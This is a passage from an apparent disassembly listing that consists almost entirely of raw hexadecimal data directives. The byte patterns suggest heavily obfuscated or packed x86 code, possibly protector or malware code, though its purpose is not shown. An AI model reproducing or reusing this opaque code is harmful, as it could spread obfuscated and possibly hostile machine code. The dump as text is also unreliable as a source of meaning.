0CBE2C026h, 6660196Eh, 2CC2E181h dd 10E8h, 0AD972B00h, 0B51C2C2h, 0D351FAB9h, 627D505Ah dd 0DF8166D7h, 615F5F91h, 1EE28046h, 59850F49h, 0FFFFFFFh dd 68Ah, 0CD9D8B00h, 0E905E72Eh, 14h, 0C0D9D8Bh, 0B58905E7h dd 5E70459h, 41958B53h, 5A05E72Ch, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 159D2362h dd 0E905E701h, 5, 806E4064h, 31BD83F3h, 5E701h, 150840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 668544C3h, 5160DE8Bh, 1D5D8D01h, 0C65B05E7h dd 0E732A585h, 6A5405h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E9C6CDC3h, 5, 69219576h, 4E821h dd 0BEF40000h, 8A0FFF4Eh, 8, 28B0Fh, 61600000h, 8BE5B350h dd 51042444h, 8B5AD38Bh, 21BB6600h, 244489C9h, 5EDEBA04h dd 33583E97h, 0E71B0595h, 5B5FF05h, 8B05E72Bh, 0E720359Dh dd 0A1858D05h, 6605EA7Dh, 0F07FC381h, 6AD0FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 2CEF9C3h, 0E380006Ah, 0CE914h, 21050000h, 0BF9B9739h dd 56ED9B5Dh, 0B5FFC49Ch, 5E70131h, 29D19D03h, 0FE905E7h dd 0DA000000h, 5BAF5AA0h, 5F8C9D4Eh, 0EC887FAh, 0D0FF4155h dd 9503D98Bh, 5E72231h, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0A10BF953h, 2B14E851h dd 0B5896FEEh, 5E72835h, 0E19D8960h, 0E905E732h, 11h, 4367DFD1h dd 0C311A559h, 0F8858510h, 0CC474D31h, 85C76190h, 5E71865h dd 1, 0A1958B53h, 5B05E70Ch, 0D38B5360h, 0DD1C685Bh, 0BA56612Dh dd 3C6901Ch, 2434815Bh, 612DDD9Ch, 6B3F960h, 8BFF6A61h dd 0E727799Dh, 6D95FF05h, 6A05E719h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 713CC351h dd 503C6C71h, 8B615AFCh, 0E727659Dh, 14E95005h, 80000000h dd 0D15F096Ah, 0ADC59948h, 0C32B5778h, 2942A032h, 89DD6FD4h dd 958B2404h, 5E70A01h, 6E9h, 1B53BF00h, 8BD34D05h, 0E72BA585h dd 0B59D8B05h, 0B05E717h, 3B840FC0h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 759C352h, 16F884B3h, 8D31F38Ah, 5E725CDh, 156D95FFh dd 830F05E7h, 6, 2BE58D89h, 85C705E7h, 5E72519h, 1, 0F18B6660h dd 55DBD8Bh, 836105E7h, 0E71871BDh, 840F0005h, 2Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 43C35343h, 0D9201130h dd 95FFCE46h, 5E71CC5h, 0BD83A7B7h, 5E717E9h, 24840F00h dd 0B2000000h, 3D95FF17h, 6A05E70Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 83A6C353h dd 0E71675BDh, 840F0005h, 27h, 0DBC82BAh, 1BD832Dh, 5E703h dd 15850Fh, 85890000h, 5E72D7Dh, 0E7DB509h, 95FF05E7h dd 5E7147Dh, 834BD280h, 0E7153DBDh, 840F0005h, 72h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 36C35646h, 65958BE2h dd 8B05E70Ch, 0E7237195h, 7D858105h, 305E704h, 6A000040h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 58DDC353h, 7995DE9Bh, 0A0BA5E84h, 8140BF4Ch dd 0E7177585h, 400305h, 8E900h, 0AB290000h, 98489A33h dd 310F64B7h, 8D8DD88Bh, 5E75E04h, 19819503h, 18905E7h dd 0DEBF0F60h, 11DA8166h, 0C23361FCh, 4810Fh, 0B6510000h dd 41895A4Ah, 0C59D8904h, 0F05E72Eh, 69958B31h, 8D05E72Ch dd 0E75E368Dh, 0A820F05h, 60000000h, 0BD89E18Ah, 5E71B69h dd 0F8018961h, 0CB81C233h, 3478251Eh, 89DEBF0Fh, 6A0441h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0F7E3A3C3h, 3AAEF52Eh, 4820Fh, 0BA660000h, 0BD83257Bh dd 5E70A41h, 35840F00h, 66000000h, 0FFD5A7BAh, 0E72E9995h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 8FC1F563h, 1A2E0294h, 958BCA96h, 5E717F5h dd 1D2DBD83h, 0F0105E7h, 5C85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0E35760DEh dd 71B5894Bh, 0E905E703h, 5, 6F4515ADh, 27E944h, 0D4BA0000h dd 8B249408h, 0E75F58B5h, 6C705h, 8B000000h, 0E75D32B5h dd 6C705h, 0CF000000h, 31D6B70Fh, 0E7044195h, 19BD8305h dd 5E725h, 152840Fh, 0EE80000h, 73000000h, 2BB9BA79h, 5678761Dh dd 0E7864B71h, 0DABF0FA1h, 79BD835Bh, 105E719h, 11E850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0D42942C3h, 525CDD6Fh, 4C9A8D8Bh, 6A05E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A9AD9CC3h, 9ACB817Eh, 0FC742E19h, 0C2C8EA81h, 1C67F69h dd 0BD9D8B00h, 6005E716h, 0C0BF0F60h, 61D7B70Fh, 17C59529h dd 756805E7h, 66506BB5h, 3481D78Bh, 6BB5F524h, 56006A50h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 35C4FDA0h, 478EAC42h, 9D334C37h, 5E703F1h, 0D68BFF6Ah dd 5B5BD01h, 95FF05E7h, 5E7196Dh, 17659529h, 16105E7h dd 0E7095185h, 0AD95FF05h, 0E905E719h, 7, 0F0D6A89Bh, 8B527BE7h dd 0E74C9A8Dh, 22F28105h, 0E92C7D9Ch, 11h, 0A1FC9C2Eh dd 0E779765Ch, 55BC293Ah, 0E7E20447h dd 6A01FEDDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 6FFFC352h, 0C2D6EA9Eh, 64C0189Dh dd 1461BD83h, 0F0105E7h, 385h, 98C78000h, 0BD83C08Bh, 5E70C81h dd 83097500h, 0E72819BDh, 1A740005h, 0C08B5350h, 47D858Bh dd 858905E7h, 5E7047Dh, 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh dd 5E72819h, 50187400h, 7D858B53h, 8905E704h, 0E7047D85h dd 829D8D05h, 0FF05E9B1h, 81585BD3h, 70CF9DC2h, 56006A1Dh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 4CFCD986h, 82D57EE5h, 1AF1958Bh, 0DF8B05E7h, 83F9C08Bh dd 0E72519BDh, 850F0005h, 59h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 64C35343h, 0BE8BA185h, 178C61Ah dd 0E713A18Dh, 0C59D2905h, 8305E717h, 0E70B2DBDh, 840F0005h dd 1Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h dd 49C35242h, 19BD8319h, 5E725h, 19840Fh, 0B5090000h, 5E72531h dd 2C25BD83h, 0F0005E7h, 684h, 499D8B00h, 8305E718h, 0E72519BDh dd 840F0005h, 22h, 224DB589h, 0BD8305E7h, 5E72C25h, 0F840F00h dd 0E9000000h, 0Ah, 0C23F3836h, 8DD63F2Ch, 0BD83553Eh dd 5E72519h, 15840F00h, 66000000h, 0BD83DA8Bh, 5E709F9h dd 5840F00h, 0BA000000h, 10BAD0D4h, 2519BD83h, 0F0005E7h dd 4384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 705426B0h, 83876723h, 0E71271BDh dd 840F0005h, 14h, 718D3153h, 5B05E705h, 0AB595FFh, 9D8905E7h dd 5E72E51h, 0BD83C08Bh, 5E70C81h, 83097500h, 0E72819BDh dd 1A740005h, 0C08B5350h, 1775858Bh, 858905E7h, 5E71775h dd 0B4FA9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50187400h dd 75858B53h, 8905E717h, 0E7177585h, 9B9D8D05h, 0FF05E9B1h dd 0F585BD3h, 68Bh, 75958B00h, 5105E72Ah, 8B5AF38Ah, 0BBFD8AC0h dd 2A184159h, 2519BD83h, 0F0005E7h, 4EF84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0EF3886B2h, 1391BD89h, 0BD8305E7h, 5E724E9h, 3D840F02h dd 0BA000000h, 643657F9h, 1D2DBD83h, 0F0105E7h, 2B85h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0CAA2F699h, 0F18B6051h, 95015B61h, 5E73269h dd 185BD83h, 0F0005E7h, 9084h, 65958B00h, 6005E729h, 0E850006Ah dd 3, 58C35820h, 4244489h db 81h, 44h word_544F42 dw 424h ; DATA XREF: ___:off_435718o dd 17h, 0E8C35040h, 53CB5798h, 8D8B5AF9h, 5E74C9Ah, 0FEF7CA80h dd 687AB301h, 105D46B7h, 3481D08Bh, 5D463724h, 0DE8B6610h dd 202DB589h, 0FF6A05E7h, 925BD31h, 95FF05E7h, 5E7196Dh dd 767ADBBh, 6A6104h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0A30569C3h, 7E898h, 0D5120000h dd 76430E8Eh, 0D8BF0F16h, 6A605Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F9DDFAC3h, 0B630F22Dh dd 8BDE8B9Ch, 0E74C9A8Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 82008065h dd 0BE9h, 5A575100h, 225A35CCh, 0A6EA0EB7h, 0E28101FEh dd 2227CE7Ch, 571B4968h, 8EBA60B7h, 8B491516h, 48161C6h dd 0A8E53724h, 57006A48h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 389C0A7Eh, 89DD20B5h dd 0E729E99Dh, 0FFF6A05h, 288h, 0FF1AB600h, 0E7196D95h dd 6671B705h, 0FCB4F281h, 0D3816661h, 0BD8DB919h, 5E71209h dd 68C0Fh, 9D0B0000h, 5E70B21h, 891C4F8Bh, 0E724819Dh dd 0E99D2305h, 6A05E728h, 0F19D8B01h, 5005E70Bh, 11E96060h dd 24000000h, 658EFA34h, 0AE89E967h, 24832C86h, 1D9DF9EDh dd 5B2DEFBAh, 8B666138h, 0C8961C1h, 0D88B6624h, 3917858Dh dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 67DABBC3h, 331F0354h, 6AD0FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F9A46C3h dd 588h, 0F2816600h, 0C6B7DB4Dh, 6A204F8Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 357EC357h dd 4008F344h, 6AFC24A2h, 3840F03h, 66000000h, 9D2BD08Bh dd 5E71385h, 0D88B5750h, 240C895Bh, 21B1CB81h, 858D0B2Ah dd 5EA3917h, 2AEDB589h, 0D0FF05E7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 24C35141h, 8B0FAE2Ah, 1, 9BD8DF9h dd 0E905E712h, 0Eh, 9409110Bh, 326BF194h, 0E7D04F8h, 4F8B7230h dd 51006A1Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0B2B10229h, 8B506040h, 0BD295EFBh, 5E72AEDh dd 8B016A61h, 0E70C919Dh, 0FFB25005h, 8B240C89h, 0E70AC595h dd 17858D05h, 6A05EA39h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 50B8C353h, 6D589F8Bh dd 9D8BB7F4h, 5E720DDh, 0B657F381h, 0BA6673F3h, 0D0FF285Eh dd 66DFB70Fh, 8B4A38BBh, 9D8B204Fh, 5E70605h, 6DB3036Ah dd 2840F91h, 8B000000h, 0E3B350D0h, 890FF891h, 6, 13999D29h dd 858D05E7h, 5EA3917h, 0D0FFDD8Ah, 4C9A8D8Bh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 5D0332C3h, 0A374C237h, 958B01FEh, 5E72C09h, 4C9A858Bh dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0E14DF3C3h, 1AD5B24h, 0E72419B5h, 6A00FE05h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 4281C351h, 1763400h, 6ADABA50h, 619D8B01h dd 0E805E708h, 4, 0FFFF9FFFh, 5050F98Ah, 0CEA6BB52h, 310F0486h dd 0B85A5760h, 630E2F84h, 8B585A61h, 60042444h, 5250C3B4h dd 8E9h, 6EAAD700h, 7283D2CAh, 0E8310F87h, 11h, 0B6814288h dd 0F483733h, 91155164h, 290E141Dh, 585A5908h, 0E8008B61h dd 6, 5A5BEBA2h, 0EE9D848h dword_545350 dd 0BA000000h, 761D2BB9h, 4B715678h, 0D5A1E786h, 44895A5Bh ; DATA XREF: ___:off_43CCB4o dd 0BA660424h, 6A582B3Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0C109C355h, 8D44285Bh dd 0EA392185h, 8EEF8005h, 9D8BD0FFh, 5E70CE1h, 0B2DBD83h dd 0F0005E7h, 0D284h, 0D1952300h, 0BA05E729h, 561A0C0Eh dd 2B8DBD83h, 0F0105E7h, 0BA85h, 68C0F00h, 8B000000h, 0E72BF59Dh dd 2B8D8D05h, 6A05EA39h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0CE66C356h, 9E40B4B1h dd 0B5316435h, 5E71571h, 0FB6DBA66h, 0BB66036Ah, 16AFA28h dd 1CF99D2Bh, 6E905E7h, 0E4000000h, 63AE3C4Dh, 0E9D1FFA2h dd 0Fh, 77B5B91Ch, 0CF13FA13h, 1265CBCFh, 8A54D9AEh, 80016AFAh dd 16AA9C7h, 0FFA1F780h, 0D59D8BD1h, 0E805E721h, 0FA745CE9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FFC35242h dd 12E9h, 862EF600h, 9E05D2ACh, 74723EA0h, 0F341793h, 6A70A090h dd 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0E8B8C7EBh, 0E9C6F6C5h, 0Ch, 0EA4658Dh dd 907C7639h, 4A4A6CB7h, 10E9h, 5081D400h, 7909EC3Ah, 0CD74D480h dd 8B5DEFFDh, 0E8FF6AEAh, 6, 0BE13BBFFh, 8A0F6FD2h, 2 dd 0FF5B5A53h, 0E7196D95h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 5E972h, 28FE0000h dd 0B8F18811h, 0 dd 0C00BDF8Bh, 22840Fh, 85010000h, 5E72909h, 1A4DBD83h dd 0F0005E7h, 0F84h, 59C38000h, 0F195FFh, 958905E7h, 5E71195h dd 1185858Bh, 9D3305E7h, 5E72155h, 600000C6h, 3199850Bh dd 0B58B05E7h, 5E72C91h, 0BD295861h, 5E72AD5h, 0FD98C66h dd 0C1F6DFBFh, 0EF840F04h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 167FC357h dd 6725A117h, 7D96C729h, 0B999D89h, 0E9B305E7h, 0BDE9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 43D38833h, 0BE9h, 67828100h, 4FEF7F0Ch dd 6784F0BDh, 1B11B58Bh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0FF9922C3h, 0D18B33E3h dd 4559D31h, 0C68105E7h, 1180h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0DC35545h, 0DAF7AF26h, 6695621Bh dd 0BE0ADB81h, 3890Fh, 0EE800000h, 0C7D38BA7h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 1B964DC6h, 6A5E59B3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 1458C355h, 0F4E4E2DBh dd 6601716Ch, 8378D0BBh, 840F00F8h, 0C57h, 2BC9BD31h, 0F88305E7h dd 0A5850F01h, 8B000001h, 0E702FD95h, 958D8905h, 0B805E700h dd 0 dd 0F4AB260h, 0B61D3BFh, 0B840FC0h, 8B000001h, 0E716D195h dd 1F88305h, 113840Fh, 8D290000h, 5E70959h, 0F03F883h dd 8384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0BD5DC1B3h, 0DBE919C6h, 2BD88A61h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 6501A5C9h, 8465AD20h, 0D2BF0F3Ah, 2829958Bh dd 0BD8D05E7h, 5B7974h, 19FD9D89h, 0E7FF05E7h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 46C35040h, 0D98B575Bh dd 1B8h, 31958B00h, 8D05E723h, 5B7974BDh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 8BDA073Ah, 0B7743699h, 880F4F20h, 3, 66EFDB80h, 0FFF22CBBh dd 7E8E7h, 0AF990000h, 649459A0h, 13E984h, 0E9D30000h dd 0FE43D60Dh, 0AF291F79h, 191426F0h, 0D5FD63FFh, 0BD8D5A0Fh dd 5E74326h, 2EBDB509h, 5E905E7h, 8B000003h, 0E727A59Dh dd 0F585C705h, 505E74Ch, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 92B5C353h dd 6890F0Dh, 8B000000h, 0E7090595h, 5B805h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E930F1C3h, 0A27h, 0EA81D48Ah, 3C136584h, 0F02F883h dd 0DB85h, 0F5DA8100h, 0B874520Fh, 0 dd 0E85F95BAh, 0FC00B11h, 9084h, 11D7BA00h, 0F8830DF6h dd 6E840F01h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 9511C356h, 0CC864EE2h dd 0DD5DBB66h, 0F03F883h, 0FFFEBF84h, 0E28166FFh, 0C02B0B9Bh dd 35D958Bh, 0BD8D05E7h, 5B7974h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 6DC35646h, 0E65555BAh, 9C57D3FCh dd 0BD8B5260h, 5E72BDDh, 0B77CBE5Bh, 8B617093h, 0E719E995h dd 81E7FF05h, 6F228CD3h, 1EBD8D49h, 6605E745h, 0DDE9D38Bh dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 7972C353h, 9529DB1Bh, 5E71881h dd 0F03F883h, 7585h, 0CE800h, 4C840000h, 9269006Dh, 1C343659h dd 800FE0F3h, 6, 21718D89h, 315B05E7h, 0E719B9B5h, 0B2BD8D05h dd 6A05E746h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 67B0C350h, 61E9EA8Ah, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 2DF4C355h, 8589BFBFh, 5E72801h, 0F8835B52h dd 31850F05h, 89000000h, 0E715DD95h, 8A9E905h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 763F0CC3h, 0BA88482Ah, 6CDCD0D8h, 0F06F883h, 4A85h dd 12E900h, 0BAD80000h, 51A34C92h, 0F7CAB5DAh, 0FD7E3D0Fh dd 64333D02h, 0AABD8DF9h, 8005E748h, 0D1E98AE6h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 79A8C355h, 0E5958B11h, 8305E713h, 850F07F8h dd 43h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 71C35545h, 0D06F513Eh, 0F0808ABh, 687h, 1D9D8B00h, 8D05E722h dd 0E71D89BDh, 499D2B05h, 0E905E70Ch, 0C3h, 8323F280h dd 850F0AF8h, 58h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 69C35040h, 8968B499h, 0E70BE985h, 0A2BD8D05h dd 6A05E74Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 1515C357h, 45BE3C3Dh, 0E9C2CE80h dd 4, 5824BA66h, 0CB816657h, 1CB99F75h, 0B23EFE40h, 3F8333h dd 42840Fh, 0B70F0000h, 8B0F30D3h, 0E7136595h, 6AC9D105h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0C002C350h, 29EBE82Eh, 92D0763h, 0E71D11BDh dd 0D98B4705h, 0FFFFB8E9h, 0D3B70FFFh, 0BB66535Fh, 895AFD21h dd 0E74C9EBDh, 8D8DF905h, 5E706E5h, 0C93DBB66h, 0D82CDB81h dd 0B5FF4739h, 5E71701h, 1C899D0Bh, 858D05E7h, 5E9A7A6h dd 0BD8D50h, 8D05E754h, 0E76FD38Dh, 1ABCB805h, 0CF2B5483h dd 0C8D00730h, 0F8754947h, 6F8FB58Dh, 8D8D05E7h, 5E76FEBh dd 0A4F3CF2Bh, 0B8C933h, 0B000000h, 834674C0h, 0E71A4DBDh dd 6740005h, 0F195FFh, 0B58B05E7h, 5E74C9Eh, 0A7A6858Dh dd 0D0FF05E9h, 40FB858Dh, 0D0FF05E7h, 16A185C7h, 105E7h dd 0A58B0000h, 5E72D79h, 12DDB58Bh, 0AD8B05E7h, 5E70BD9h dd 0CC2C033h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 6636AB86h, 0B20E680h, 0E72E7D95h dd 0C8F0F05h, 0F000000h, 68Fh, 0AD8D8900h, 8105E703h, 28D59ACBh dd 91BD8325h, 5E711h, 45840Fh, 12E90000h, 2000000h, 0D60AD89Dh dd 0DDE2EAA2h, 0A380BED1h, 30867A65h, 0B195FF7Ah, 6A05E704h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 39D2C351h, 9DB663A2h, 2D9D2964h, 8305E725h dd 0E7183DBDh, 850F0005h, 1BDh, 24E59D33h, 0BD8305E7h dd 5E72B8Dh, 0AA850F01h, 8B000001h, 0E71CE595h, 8CBB6605h dd 6DBD83A8h, 5E716h, 193840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 5F70E0C3h dd 95897DFEh, 5E70189h, 4CF1BD83h, 0F0005E7h, 16084h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0E2F72792h, 644DFC68h, 16A58D01h, 858D05E7h, 5E9A7A6h dd 284D958Bh, 0BD0905E7h, 5E70591h, 4C9EB58Bh, 9D8905E7h dd 5E7033Dh, 0E062BB66h, 0BD89D0FFh, 5E71791h, 32A585C6h dd 815405E7h, 0F9DA05CAh, 1A896813h, 6E9CADCh, 0A4000000h dd 0A184FA0Ah, 243481D4h, 3592A47Dh, 899B5FFh, 9D0305E7h dd 5E728E9h, 392A858Dh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 3D65FCC3h, 6AD0FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0F43ECAC3h, 338EA04Eh, 14299D89h, 6A05E7h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7DC35242h, 38D0FF7h dd 0F000000h, 0FF6AD1B7h, 95895653h, 5E72C39h, 0D0FF5B5Ah dd 2AED8501h, 0B5FF05E7h, 5E71CA9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0A8C35343h, 0ED11271Ch, 895E3F64h dd 0E71CF1B5h, 195FF05h, 6A05E717h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BAAC357h dd 9EB58BD9h, 8B05E74Ch, 0E7194195h, 6AC305h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0ABFC9EC3h dd 0DE83084h, 8BFE8ADFh, 0E71185B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0EF6128EEh dd 0D6BF0FD1h, 840FF60Bh, 2Ch, 6C6CFB2h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 850F5D6Dh, 4, 5AD78B50h, 4CA68589h, 816605E7h, 83F661F2h dd 840F00F8h, 403h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 41C35343h, 66603D5Dh, 66DF52B9h, 36CCA81h dd 0B861h, 0D6800000h, 13E81Bh, 57B40000h, 0B97BE4C7h dd 34100C8Ah, 0FC95B346h, 0DA6B19E8h, 13E937h, 576A0000h dd 0D956502Dh, 87CEE46Ch, 40B67C5Ch, 5D0B9580h, 0F8835A8Fh dd 12840F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 26E5C356h, 71C66537h dd 7595235Bh, 8305E712h, 850F02F8h, 0AAh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 84C35242h, 7CB8152h dd 5A78814Dh, 4321858Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 4D2463C3h, 558560FCh dd 7E9ED16h, 1000000h, 20A6A684h, 292D4064h, 2B000009h dd 0E7068995h, 69958B05h, 9005E716h, 0BB665250h, 310FCF23h dd 0A0E4BB66h, 8B50585Ah, 0BB290D3h, 52006AC3h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 428A4FA6h dd 0E3DA6F7Bh, 27E9B529h, 0B805E7h, 0B2000000h, 5E968h dd 31E10000h, 0E9AE0214h, 2A7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h dd 35C35646h, 0B2B032B3h, 1B86Fh, 0F88A0000h, 4326BD8Dh dd 6E805E7h, 5A000000h, 70B24566h, 619D8B11h, 5A05E701h dd 133E9h, 48E0F00h, 66000000h, 839509BAh, 850F02F8h, 61h dd 0BD8DFA8Ah, 5E7451Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0FCC35040h, 8E9h, 1B8C1900h, 0A37B462Ch dd 0EAE9F6h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0E18167C3h, 7D888DD0h, 8102646Ah dd 0A20A3BCBh, 3F88325h, 68850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 709ACBC3h dd 9D2B8FC9h, 5E72475h, 19E99D8Bh, 0BD8D05E7h, 5E746B2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FEC35242h dd 62E901h, 0FE90000h, 0C2000000h, 624E4659h, 74D8878Ah dd 28F364A1h, 0F883E3CCh, 45850F05h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 692C353h, 0F60B3EAh, 587h, 0DA816600h, 0C0E994A2h, 0E9000000h dd 10h, 0F91C1A4Ch, 8D78534Eh, 7C2357A0h, 0D9B0198Fh, 0BE857h dd 80540000h, 0C9A8B459h, 781F0257h, 5ADA8BB9h, 0FE401CB9h dd 0D081603Eh, 52E5FB18h, 2A898D09h, 836105E7h, 840F003Fh dd 7Bh, 11A59D89h, 0F3005E7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 73C35040h, 33F81767h, 18E3B631h dd 1958B16h, 0D105E72Bh, 55006AC9h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 759D312Bh, 4705E71Dh dd 161D8589h, 8A0F05E7h, 6, 2B558589h, 88E905E7h, 0E9FFFFFFh dd 7, 4F219F1h, 83BE742Fh, 850F05F8h, 7Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1CC35545h, 0BA4E3976h dd 482F695Bh, 29D98C66h, 0E7177185h, 4C1F605h, 30850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 35E67CC3h, 0B8h, 0E2816600h, 18E9B5A1h, 80000000h dd 858BF0CEh, 5E70459h, 0A2C5E3BAh, 8BE0FF36h, 499D89D6h dd 8305E714h, 0E71701BDh, 850F0005h, 19Bh, 32E58D89h, 